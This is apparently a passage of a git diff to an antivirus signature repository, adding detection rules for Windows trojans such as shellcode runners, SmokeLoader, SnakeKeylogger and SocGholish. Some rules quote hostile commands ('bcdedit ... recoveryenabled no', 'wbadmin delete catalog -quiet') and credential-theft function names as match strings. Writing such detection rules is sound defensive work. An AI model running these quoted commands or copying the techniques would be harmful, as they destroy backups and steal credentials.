00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 00 } //1 bcdedit /set {default} bootstatuspolicy ignoreallfailures + $a_00_3 = {62 00 63 00 64 00 65 00 64 00 69 00 74 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 6e 00 6f 00 } //1 bcdedit /set {default} recoveryenabled no + $a_00_4 = {77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 63 00 61 00 74 00 61 00 6c 00 6f 00 67 00 20 00 2d 00 71 00 75 00 69 00 65 00 74 00 } //1 wbadmin delete catalog -quiet + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellCodRunner/Trojan_Win32_ShellCodRunner_ZZ_MTB.yar b/Trojan/Win32/ShellCodRunner/Trojan_Win32_ShellCodRunner_ZZ_MTB.yar new file mode 100644 index 0000000000..286aafa241 --- /dev/null +++ b/Trojan/Win32/ShellCodRunner/Trojan_Win32_ShellCodRunner_ZZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ShellCodRunner_ZZ_MTB{ + meta: + description = "Trojan:Win32/ShellCodRunner.ZZ!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {49 89 c4 48 89 c5 66 0f ef c0 48 01 be 80 20 00 00 49 c1 fc 15 0f 29 40 10 48 c1 fd 0c 48 89 78 08 48 c7 00 01 00 00 00 41 0f b6 c4 4c 8d 2c c6 49 8b 95 a8 20 00 00 48 85 d2 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellCodeRunner_KK_MTB.yar b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellCodeRunner_KK_MTB.yar new file mode 100644 index 0000000000..7293d57713 --- /dev/null +++ b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellCodeRunner_KK_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ShellCodeRunner_KK_MTB{ + meta: + description = "Trojan:Win32/ShellCodeRunner.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_01_0 = {8b 0a 8d 52 04 33 4a f8 81 e1 ff ff ff 7f 33 4a f8 8b c1 24 01 0f b6 c0 f7 d8 1b c0 d1 e9 25 df b0 08 99 33 82 2c 06 00 00 33 c1 89 82 b8 09 00 00 83 ef 01 } //3 + $a_03_1 = {56 89 45 f0 89 55 f4 ff 15 ?? ?? ?? ?? 0f b7 c0 0f 57 c0 66 89 45 e8 40 66 89 45 ea 8d 45 f8 } //2 + $a_02_2 = {5c 00 62 00 75 00 69 00 6c 00 64 00 65 00 72 00 5f 00 76 00 [0-03] 5c 00 73 00 74 00 65 00 61 00 6c 00 63 00 5c 00 } //5 + condition: + ((#a_01_0 & 1)*3+(#a_03_1 & 1)*2+(#a_02_2 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellCodeRunner_NZL_MTB.yar b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellCodeRunner_NZL_MTB.yar new file mode 100644 index 0000000000..223eb9d86a --- /dev/null +++ b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellCodeRunner_NZL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ShellCodeRunner_NZL_MTB{ + meta: + description = "Trojan:Win32/ShellCodeRunner.NZL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {8b c3 8b 5d f0 88 0c 3a 8b 55 e0 0f b6 0c 02 0f b6 04 3a 03 c8 83 7e ?? 0f 0f b6 c1 8b ce 89 45 ec 76 } //5 + $a_03_1 = {8a 0c 01 32 0c 16 8b 53 ?? 88 4d ff 3b 53 08 74 } //4 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_AGZ_MTB.yar b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_AGZ_MTB.yar new file mode 100644 index 0000000000..e386428a7b --- /dev/null +++ b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_AGZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ShellcodeRunner_AGZ_MTB{ + meta: + description = "Trojan:Win32/ShellcodeRunner.AGZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {f7 e9 03 d1 c1 fa 05 8b c2 c1 e8 1f 03 c2 8a d0 c0 e2 03 2a d0 8a c1 c0 e2 03 2a c2 04 39 30 44 0d ?? 41 83 f9 1d 7c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_BAA_MTB.yar b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_BAA_MTB.yar new file mode 100644 index 0000000000..04548a895b --- /dev/null +++ b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ShellcodeRunner_BAA_MTB{ + meta: + description = "Trojan:Win32/ShellcodeRunner.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8b 45 10 0f b6 14 10 23 f2 f7 d6 23 ce 8b 85 ?? ?? ?? ?? 03 45 98 88 08 eb } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_DB_MTB.yar b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_DB_MTB.yar new file mode 100644 index 0000000000..074afca72e --- /dev/null +++ b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_DB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ShellcodeRunner_DB_MTB{ + meta: + description = "Trojan:Win32/ShellcodeRunner.DB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {89 c1 8b 55 f0 8b 45 08 01 d0 31 cb 89 da 88 10 83 45 f0 01 83 55 f4 00 8b 45 f0 8b 55 f4 3b 45 e0 89 d0 1b 45 e4 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_ISA_MTB.yar b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_ISA_MTB.yar new file mode 100644 index 0000000000..df8d006993 --- /dev/null +++ b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_ISA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ShellcodeRunner_ISA_MTB{ + meta: + description = "Trojan:Win32/ShellcodeRunner.ISA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {57 9c bf b9 b1 35 79 66 81 e7 b9 46 c1 e7 a7 66 f7 df 8b 7c 24 04 c7 44 24 04 06 c8 ef 7f ff 74 24 00 9d 8d 64 24 04 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_MMA_MTB.yar b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_MMA_MTB.yar new file mode 100644 index 0000000000..caa06b1268 --- /dev/null +++ b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_MMA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ShellcodeRunner_MMA_MTB{ + meta: + description = "Trojan:Win32/ShellcodeRunner.MMA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {33 c0 5b 0f b6 34 10 33 f1 8a 8e ?? ?? ?? ?? 30 4c 07 40 0f b6 4c 07 40 40 83 f8 10 7c } //5 + $a_03_1 = {8b 55 14 8b c8 83 e1 ?? 8a 0c 11 30 0c 18 40 3b 45 1c 7c } //4 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_NIT_MTB.yar b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_NIT_MTB.yar new file mode 100644 index 0000000000..84bc4407b5 --- /dev/null +++ b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_NIT_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ShellcodeRunner_NIT_MTB{ + meta: + description = "Trojan:Win32/ShellcodeRunner.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {22 6c 69 62 2e 6d 69 6e 2e 6a 73 22 3b 0d 0a 20 20 20 20 20 20 20 20 75 73 69 6e 67 20 28 46 69 6c 65 53 74 72 65 61 6d 20 66 73 20 3d 20 6e 65 77 20 46 69 6c 65 53 74 72 65 61 6d 28 70 61 74 68 2c 20 46 69 6c 65 4d 6f 64 65 2e 4f 70 65 6e 2c 20 46 69 6c 65 41 63 63 65 73 73 2e 52 65 61 64 29 29 } //2 + $a_01_1 = {6c 65 6e 20 3d 20 28 75 69 6e 74 29 66 73 2e 4c 65 6e 67 74 68 20 2f 20 34 20 2d 20 32 35 36 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 49 6e 74 50 74 72 20 61 20 3d 20 42 6c 61 47 65 74 28 6c 65 6e 29 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 20 28 69 6e 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 32 35 36 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 66 73 2e 52 65 61 64 28 62 75 66 66 65 72 2c 20 30 2c 20 34 29 20 21 3d 20 34 29 } //2 + $a_01_2 = {2e 57 72 69 74 65 42 79 74 65 28 61 2c 20 70 6f 73 2c 20 28 62 79 74 65 29 28 28 6d 61 70 5b 6b 65 79 5d 20 2b 20 32 35 36 20 2d 20 28 70 6f 73 20 25 20 32 35 36 29 29 20 25 20 32 35 36 29 29 } //1 .WriteByte(a, pos, (byte)((map[key] + 256 - (pos % 256)) % 256)) + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_SCP_MTB.yar b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_SCP_MTB.yar new file mode 100644 index 0000000000..64b4c76f5e --- /dev/null +++ b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_ShellcodeRunner_SCP_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ShellcodeRunner_SCP_MTB{ + meta: + description = "Trojan:Win32/ShellcodeRunner.SCP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " + + strings : + $a_03_0 = {c1 e8 04 69 c0 ?? ?? ?? ?? 29 c1 89 c8 83 c0 64 89 04 24 } //3 + $a_03_1 = {89 d0 69 c0 ?? ?? ?? ?? 29 c1 89 c8 05 ?? ?? ?? ?? 89 04 24 e8 } //2 + $a_01_2 = {25 73 5c 73 79 73 5f 63 68 65 63 6b 5f 25 6c 75 2e 74 6d 70 } //1 %s\sys_check_%lu.tmp + $a_01_3 = {72 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 5f 00 64 00 61 00 74 00 61 00 2e 00 70 00 6e 00 67 00 } //1 resource_data.png + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellCodeRunner/Trojan_Win32_Shellcoderunner_PGSR_MTB.yar b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_Shellcoderunner_PGSR_MTB.yar new file mode 100644 index 0000000000..ad922bb754 --- /dev/null +++ b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_Shellcoderunner_PGSR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Shellcoderunner_PGSR_MTB{ + meta: + description = "Trojan:Win32/Shellcoderunner.PGSR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {41 00 f8 08 41 00 30 22 41 00 18 22 41 00 00 22 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellCodeRunner/Trojan_Win32_Shellcoderunner_SCRT_MTB.yar b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_Shellcoderunner_SCRT_MTB.yar new file mode 100644 index 0000000000..fbeb00e0f6 --- /dev/null +++ b/Trojan/Win32/ShellCodeRunner/Trojan_Win32_Shellcoderunner_SCRT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Shellcoderunner_SCRT_MTB{ + meta: + description = "Trojan:Win32/Shellcoderunner.SCRT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {5e 5b 8b 4d fc 5f e8 ?? ?? ?? 00 c9 c2 08 00 ff b5 e4 fb ff ff ff 15 ?? ?? ?? 00 57 ff b5 e0 fb ff ff ff 15 ?? ?? ?? 00 53 ff 15 ?? ?? ?? 00 59 33 c0 eb cc } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Shella/Trojan_Win32_Shella_GVA_MTB.yar b/Trojan/Win32/Shella/Trojan_Win32_Shella_GVA_MTB.yar new file mode 100644 index 0000000000..3d51737933 --- /dev/null +++ b/Trojan/Win32/Shella/Trojan_Win32_Shella_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Shella_GVA_MTB{ + meta: + description = "Trojan:Win32/Shella.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {89 55 c8 0f be 45 ee 8b 4d b0 33 c8 89 4d b0 8a 55 ef 88 95 40 ff ff ff 80 bd 40 ff ff ff 00 74 1b } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Shellcode/Trojan_Win32_ShellCode_EAYU_MTB.yar b/Trojan/Win32/Shellcode/Trojan_Win32_ShellCode_EAYU_MTB.yar new file mode 100644 index 0000000000..a900679ab0 --- /dev/null +++ b/Trojan/Win32/Shellcode/Trojan_Win32_ShellCode_EAYU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ShellCode_EAYU_MTB{ + meta: + description = "Trojan:Win32/ShellCode.EAYU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {0f b6 14 10 23 fa 0b f7 0b ce 8b 45 f8 03 45 fc 88 08 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ShellcodeLoader/Trojan_Win32_ShellcodeLoader_MRZ_MTB.yar b/Trojan/Win32/ShellcodeLoader/Trojan_Win32_ShellcodeLoader_MRZ_MTB.yar new file mode 100644 index 0000000000..c04b2f572f --- /dev/null +++ b/Trojan/Win32/ShellcodeLoader/Trojan_Win32_ShellcodeLoader_MRZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ShellcodeLoader_MRZ_MTB{ + meta: + description = "Trojan:Win32/ShellcodeLoader.MRZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {41 0f b6 94 8d ?? ?? ?? ?? 88 55 ea 8b 55 f0 0f b6 4d ea 30 0c 32 46 ff 4d e4 75 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Shellter/Trojan_Win32_Shellter_KK_MTB.yar b/Trojan/Win32/Shellter/Trojan_Win32_Shellter_KK_MTB.yar new file mode 100644 index 0000000000..57a4b7ff76 --- /dev/null +++ b/Trojan/Win32/Shellter/Trojan_Win32_Shellter_KK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Shellter_KK_MTB{ + meta: + description = "Trojan:Win32/Shellter.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_03_0 = {0b f5 40 3b f2 79 ?? 48 c1 e6 04 2b fc 23 f5 ff c9 75 } //8 + $a_03_1 = {c1 e2 15 01 1d ?? ?? ?? ?? 2b f9 31 05 ?? ?? ?? ?? 33 d0 c1 c7 0a 8b fe c1 e0 13 2b 1d ?? ?? ?? ?? 81 ef 05 d7 e1 f4 01 05 ?? ?? ?? ?? 81 ca ad bb ec 35 bf c2 fc 9c df 81 f9 1a 29 9a 0b 7c ?? ?? ?? ?? ?? ?? ?? ?? c1 cb 10 33 d1 ff c9 75 } //7 + condition: + ((#a_03_0 & 1)*8+(#a_03_1 & 1)*7) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win32/Shelma/Trojan_Win32_Shelma_AMX_MTB.yar b/Trojan/Win32/Shelma/Trojan_Win32_Shelma_AMX_MTB.yar new file mode 100644 index 0000000000..499320902a --- /dev/null +++ b/Trojan/Win32/Shelma/Trojan_Win32_Shelma_AMX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Shelma_AMX_MTB{ + meta: + description = "Trojan:Win32/Shelma.AMX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {66 85 c0 74 39 66 3b 02 74 29 66 83 f8 61 72 06 66 83 f8 7a 76 0c } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Shimming/Trojan_Win32_Shimming_A.yar b/Trojan/Win32/Shimming/Trojan_Win32_Shimming_A.yar deleted file mode 100644 index 2e5e2f1682..0000000000 --- a/Trojan/Win32/Shimming/Trojan_Win32_Shimming_A.yar +++ /dev/null @@ -1,13 +0,0 @@ - -rule Trojan_Win32_Shimming_A{ - meta: - description = "Trojan:Win32/Shimming.A,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 00 " - - strings : - $a_80_0 = {73 64 62 69 6e 73 74 20 2d 71 } //sdbinst -q 1 - $a_80_1 = {61 69 5f 73 68 69 6d 5f 74 65 73 74 2e 73 64 62 } //ai_shim_test.sdb 1 - $a_80_2 = {73 64 62 69 6e 73 74 20 2d 71 20 2d 75 } //sdbinst -q -u -10 - condition: - ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*-10) >=2 - -} \ No newline at end of file diff --git a/Trojan/Win32/Shimming/Trojan_Win32_Shimming_B.yar b/Trojan/Win32/Shimming/Trojan_Win32_Shimming_B.yar new file mode 100644 index 0000000000..1e2ac128c0 --- /dev/null +++ b/Trojan/Win32/Shimming/Trojan_Win32_Shimming_B.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Shimming_B{ + meta: + description = "Trojan:Win32/Shimming.B,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_80_0 = {73 64 62 69 6e 73 74 20 2d 71 } //sdbinst -q 2 + $a_80_1 = {61 69 5f 73 68 69 6d 5f 74 65 73 74 2e 73 64 62 } //ai_shim_test.sdb 2 + $a_80_2 = {73 64 62 69 6e 73 74 20 2d 71 20 2d 75 } //sdbinst -q -u -10 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*2+(#a_80_2 & 1)*-10) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Small/Trojan_Win32_Small_C_MTB.yar b/Trojan/Win32/Small/Trojan_Win32_Small_C_MTB.yar new file mode 100644 index 0000000000..a5d40ebb57 --- /dev/null +++ b/Trojan/Win32/Small/Trojan_Win32_Small_C_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Small_C_MTB{ + meta: + description = "Trojan:Win32/Small.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {c3 55 89 e5 90 90 c9 68 ?? ?? ?? ?? c3 80 74 0a ff 20 e2 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Small/Trojan_Win32_Small_ECP_MTB.yar b/Trojan/Win32/Small/Trojan_Win32_Small_ECP_MTB.yar new file mode 100644 index 0000000000..87f6467728 --- /dev/null +++ b/Trojan/Win32/Small/Trojan_Win32_Small_ECP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Small_ECP_MTB{ + meta: + description = "Trojan:Win32/Small.ECP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_01_0 = {8a 0c 30 2a c8 88 0c 30 40 3b c7 } //3 + $a_02_1 = {8a 0c 30 80 c1 fc ?? ?? ?? ?? 2a d1 8a 0c 30 02 ca 88 0c 30 40 3b c7 } //3 + condition: + ((#a_01_0 & 1)*3+(#a_02_1 & 1)*3) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/SmokeLoader/Trojan_Win32_SmokeLoader_GTP_MTB.yar b/Trojan/Win32/SmokeLoader/Trojan_Win32_SmokeLoader_GTP_MTB.yar index cb3609842f..6508a29e27 100644 --- a/Trojan/Win32/SmokeLoader/Trojan_Win32_SmokeLoader_GTP_MTB.yar +++ b/Trojan/Win32/SmokeLoader/Trojan_Win32_SmokeLoader_GTP_MTB.yar @@ -1,7 +1,7 @@ -rule Trojan_Win32_SmokeLoader_GTP_MTB{ +rule Trojan_Win32_Smokeloader_GTP_MTB{ meta: - description = "Trojan:Win32/SmokeLoader.GTP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + description = "Trojan:Win32/Smokeloader.GTP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " strings : $a_03_0 = {8b c3 c1 e8 05 c7 05 ?? ?? ?? ?? 19 36 6b ff 89 45 ?? 8b 45 ?? 01 45 ?? ff 75 ?? 8b c3 c1 e0 ?? 03 c6 33 45 ?? 89 45 ?? 8d 45 ?? 50 e8 ?? ?? ?? ?? ff 75 ?? 8d 45 ?? 50 e8 ?? ?? ?? ?? 81 45 ?? 47 86 c8 61 ff 4d ?? 0f 85 } //10 diff --git a/Trojan/Win32/SmokeLoader/Trojan_Win32_SmokeLoader_RGB_MTB.yar b/Trojan/Win32/SmokeLoader/Trojan_Win32_SmokeLoader_RGB_MTB.yar new file mode 100644 index 0000000000..83d4b68e58 --- /dev/null +++ b/Trojan/Win32/SmokeLoader/Trojan_Win32_SmokeLoader_RGB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_SmokeLoader_RGB_MTB{ + meta: + description = "Trojan:Win32/SmokeLoader.RGB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {6a 00 ff 75 f8 6a 00 6a 00 6a 00 6a 00 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/SmokeLoader/Trojan_Win32_Smokeloader_EAPG_MTB.yar b/Trojan/Win32/SmokeLoader/Trojan_Win32_Smokeloader_EAPG_MTB.yar new file mode 100644 index 0000000000..f618dd4b00 --- /dev/null +++ b/Trojan/Win32/SmokeLoader/Trojan_Win32_Smokeloader_EAPG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Smokeloader_EAPG_MTB{ + meta: + description = "Trojan:Win32/Smokeloader.EAPG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {89 14 24 89 4c 24 0c 8b 44 24 0c 31 04 24 8b 04 24 33 44 24 04 83 c4 08 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/SmokeLoader/Trojan_Win32_Smokeloader_EAVZ_MTB.yar b/Trojan/Win32/SmokeLoader/Trojan_Win32_Smokeloader_EAVZ_MTB.yar new file mode 100644 index 0000000000..cdf54a99d1 --- /dev/null +++ b/Trojan/Win32/SmokeLoader/Trojan_Win32_Smokeloader_EAVZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Smokeloader_EAVZ_MTB{ + meta: + description = "Trojan:Win32/Smokeloader.EAVZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {8b 95 14 f7 ff ff 83 c2 04 89 95 14 f7 ff ff 3b 17 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/SmokeLoader/Trojan_Win32_Smokeloader_NEW_MTB.yar b/Trojan/Win32/SmokeLoader/Trojan_Win32_Smokeloader_NEW_MTB.yar new file mode 100644 index 0000000000..8a5d7babcf --- /dev/null +++ b/Trojan/Win32/SmokeLoader/Trojan_Win32_Smokeloader_NEW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Smokeloader_NEW_MTB{ + meta: + description = "Trojan:Win32/Smokeloader.NEW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {0f b6 0c 10 30 0c 17 8b 4c 24 28 42 39 d1 75 f0 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/SnakeKeylogger/Trojan_Win32_SnakeKeylogger_ZA_MTB.yar b/Trojan/Win32/SnakeKeylogger/Trojan_Win32_SnakeKeylogger_ZA_MTB.yar new file mode 100644 index 0000000000..967384da80 --- /dev/null +++ b/Trojan/Win32/SnakeKeylogger/Trojan_Win32_SnakeKeylogger_ZA_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_SnakeKeylogger_ZA_MTB{ + meta: + description = "Trojan:Win32/SnakeKeylogger.ZA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_01_0 = {67 65 74 5f 65 6e 63 72 79 70 74 65 64 50 61 73 73 77 6f 72 64 } //1 get_encryptedPassword + $a_01_1 = {67 65 74 5f 65 6e 63 72 79 70 74 65 64 55 73 65 72 6e 61 6d 65 } //1 get_encryptedUsername + $a_01_2 = {67 65 74 5f 74 69 6d 65 50 61 73 73 77 6f 72 64 43 68 61 6e 67 65 64 } //1 get_timePasswordChanged + $a_01_3 = {67 65 74 5f 70 61 73 73 77 6f 72 64 46 69 65 6c 64 } //1 get_passwordField + $a_01_4 = {67 65 74 5f 6c 6f 67 69 6e 73 } //1 get_logins + $a_01_5 = {4b 65 79 4c 6f 67 67 65 72 45 76 65 6e 74 41 72 67 73 45 76 65 6e 74 48 61 6e 64 6c 65 72 } //1 KeyLoggerEventArgsEventHandler + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/SocGholish/Trojan_Win32_SocGholish_HA_MTB.yar b/Trojan/Win32/SocGholish/Trojan_Win32_SocGholish_HA_MTB.yar new file mode 100644 index 0000000000..e5db9ae9ac --- /dev/null +++ b/Trojan/Win32/SocGholish/Trojan_Win32_SocGholish_HA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_SocGholish_HA_MTB{ + meta: + description = "Trojan:Win32/SocGholish.HA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_02_0 = {66 00 6f 00 72 00 65 00 61 00 63 00 68 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 5b 00 69 00 6e 00 74 00 5d 00 28 00 27 00 [0-40] 27 00 20 00 2b 00 20 00 27 00 [0-40] 27 00 29 00 2e 00 73 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 